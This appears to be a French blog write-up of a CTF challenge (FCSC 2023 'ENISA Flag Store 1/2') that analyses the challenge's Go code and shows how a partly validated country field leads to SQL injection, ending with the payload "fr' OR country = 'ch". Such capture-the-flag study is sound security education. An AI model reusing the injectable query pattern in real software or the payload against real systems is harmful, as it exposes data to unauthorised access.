🇫🇷 FCSC 2023 – ENISA Flag Store 1/2 – CTF Write up

Description

L’ENISA a dĂ©cidĂ© de mettre en place un nouveau service en ligne disponible Ă  l’annĂ©e pour les Ă©quipes qui participent Ă  l’ECSC. Ce service permet aux joueurs des diffĂ©rentes Ă©quipes nationales de se crĂ©er des comptes individuels en utilisant des tokens secrets par pays. Une fois le compte crĂ©Ă©, les joueurs peuvent voir les flags capturĂ©s dans diffĂ©rents CTF.

Les donnĂ©es personnelles des utilisateurs (mot de passe et pays) sont protĂ©gĂ©es dans la base de donnĂ©es, seuls les noms d’utilisateurs sont stockĂ©s en clair.

Le token pour la Team France est ohnah7bairahPh5oon7naqu1caib8euh.

Pour cette première Ă©preuve, on vous met au dĂ©fi d’aller voler un flag FCSC{...} Ă  l’Ă©quipe suisse 🙂

https://enisa-flag-store.france-cybersecurity-challenge.fr/

RĂ©solution

On commence par se familiariser un peu avec l’interface web en se crĂ©ant un compte avec le token ohnah7bairahPh5oon7naqu1caib8euh :

Pour ce challenge le code go du site en question nous est donnĂ©. On comprend qu’il faut trouver dans le code une vulnĂ©rabilitĂ© nous permettant d’afficher les flags de l’Ă©quipe suisse.

DĂ©tection de l’injection SQL

On repère assez vite dans le code la possibilitĂ© d’une injection sql via le paramètre user.Country dans la fonction getData qui rĂ©cupère les flags :

func getData(user User) ([]Flag, error,) {
    var flags []Flag

    req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = '%s';`, user.Country);
    rows, err := db.Query(req);
    ....
    /* display flags */
    ....
}

En effet, l’usage du %s n’est pas une bonne pratique puisque ce dernier est remplacĂ© par user.Country avant l’évaluation de la requĂŞte par le serveur de SQL. Ainsi si l’on contrĂ´le la valeur de user.Country nous pourrons complĂ©ter la requĂŞte SQL pour nous afficher les flags des autres pays.

Contrôle du paramètre user.Country

En regardant, le reste du code on constate que l’on peut contrĂ´ler la valeur de user.Country :

func endpoint_signup(w http.ResponseWriter, r *http.Request) {

        ....
        ....

        username := r.FormValue("username")
        password := r.FormValue("password")
        token    := r.FormValue("token")
        country  := r.FormValue("country")

        if country == "" { /* error */ }

        if CheckToken(country, token) == false { /* error */ }

        err := RegisterLoginPassword(username, password, country)

        ....
        ....
}

func CheckToken(country string, token string) (bool,) {

    stmt, err := db.Prepare(`SELECT id FROM country_tokens
                             WHERE country = SUBSTR($1, 1, 2)
                             AND token = encode(digest($2, 'sha1'), 'hex')`)
    if err != nil {
        log.Fatal(err)
    }

    t := &Token{}
    err = stmt.QueryRow(country, token).Scan(&t.Id)
    if err != nil {
        return false
    }
    return true
}

En effet lorsque s’inscrit sur la plateforme, l’on doit renseigner un champ « country » dans le formulaire. Le traitement de ce formulaire se fait dans la fonction endpoint_signup qui elle mĂŞme fait appel Ă  CheckToken pour vĂ©rifier que le pays choisi par l’utilisateur correspond bien au token renseignĂ©.

Ce qui est intĂ©ressant dans la fonction CheckToken c’est que seul les 2 premiers caractères de « country » sont utilisĂ©s pour retrouver le Token dans la base de donnĂ©es :

WHERE country = SUBSTR($1, 1, 2)

Ainsi l’on peut très bien crĂ©er un compte pour l’Ă©quipe france avec les identifiants suivants :

username = Lun
password = Lun
token = ohnah7bairahPh5oon7naqu1caib8euh
country = fr

ou avec ceux lĂ  :

username = Lun
password = Lun
token = ohnah7bairahPh5oon7naqu1caib8euh
country = france is where i live

En effet dans les 2 cas , la chaĂ®ne commence par fr, c’est donc des valeurs valides pour dĂ©signer l’Ă©quipe de France.

Persistence de country dans la BDD

En continuant l’interprĂ©tation du code on observe que mĂŞme si seul les 2 premiers caractères de « country » sont nĂ©cessaires Ă  l’application, ce dernier va chiffrer l’entièretĂ© de la chaĂ®ne de caractères fournie pour ensuite la stoker dans la base de donnĂ©es :

func RegisterLoginPassword(username string, password string, country string) (error,) {

    /* First check that user does not alreayd exist */
    ....
    /* If not, then insert a new user */

    country_enc := encrypt(country)
    stmt, err = db.Prepare(`INSERT INTO users (username, password, country)
                            VALUES (
                                $1,
                                encode(digest($2, 'sha1'), 'hex'),
                                $3
                            )`)
    ....
}

Si l’entièretĂ© de la valeur de « country » est stockĂ©e en base donnĂ©es, l’on contrĂ´le par consĂ©quent la valeur de user.Country puisque cette dernière est rĂ©cupĂ©rĂ©e dans la base de donnĂ©es lors de la connexion de l’utilisateur.

func CheckLoginPassword(username string, password string) (*User,error,) {

    stmt, err := db.Prepare(`SELECT id, username, country FROM users
                             WHERE username = $1
                             AND password = encode(digest($2, 'sha1'), 'hex')`)
    ....

    u := &User{}
    err = stmt.QueryRow(username, password).Scan(&u.Id, &u.Username, &u.Country)

    valid, country_dec := decrypt(u.Country)
    ....
    u.Country = country_dec
    ....
    ....
}
Exploitation

Une fois l’analyse de code terminĂ©e, l’exploitation via l’injection se fait assez facilement. La payload suivant nous permettra de rĂ©cupĂ©rer Ă©galement les flags de la suisse (ch) :

fr' OR country = 'ch

La requête SQL résultante sera :

SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' OR country = 'ch';
1 reply on “ 🇫🇷 FCSC 2023 – ENISA Flag Store 1/2 – CTF Write up ”

Comments are closed.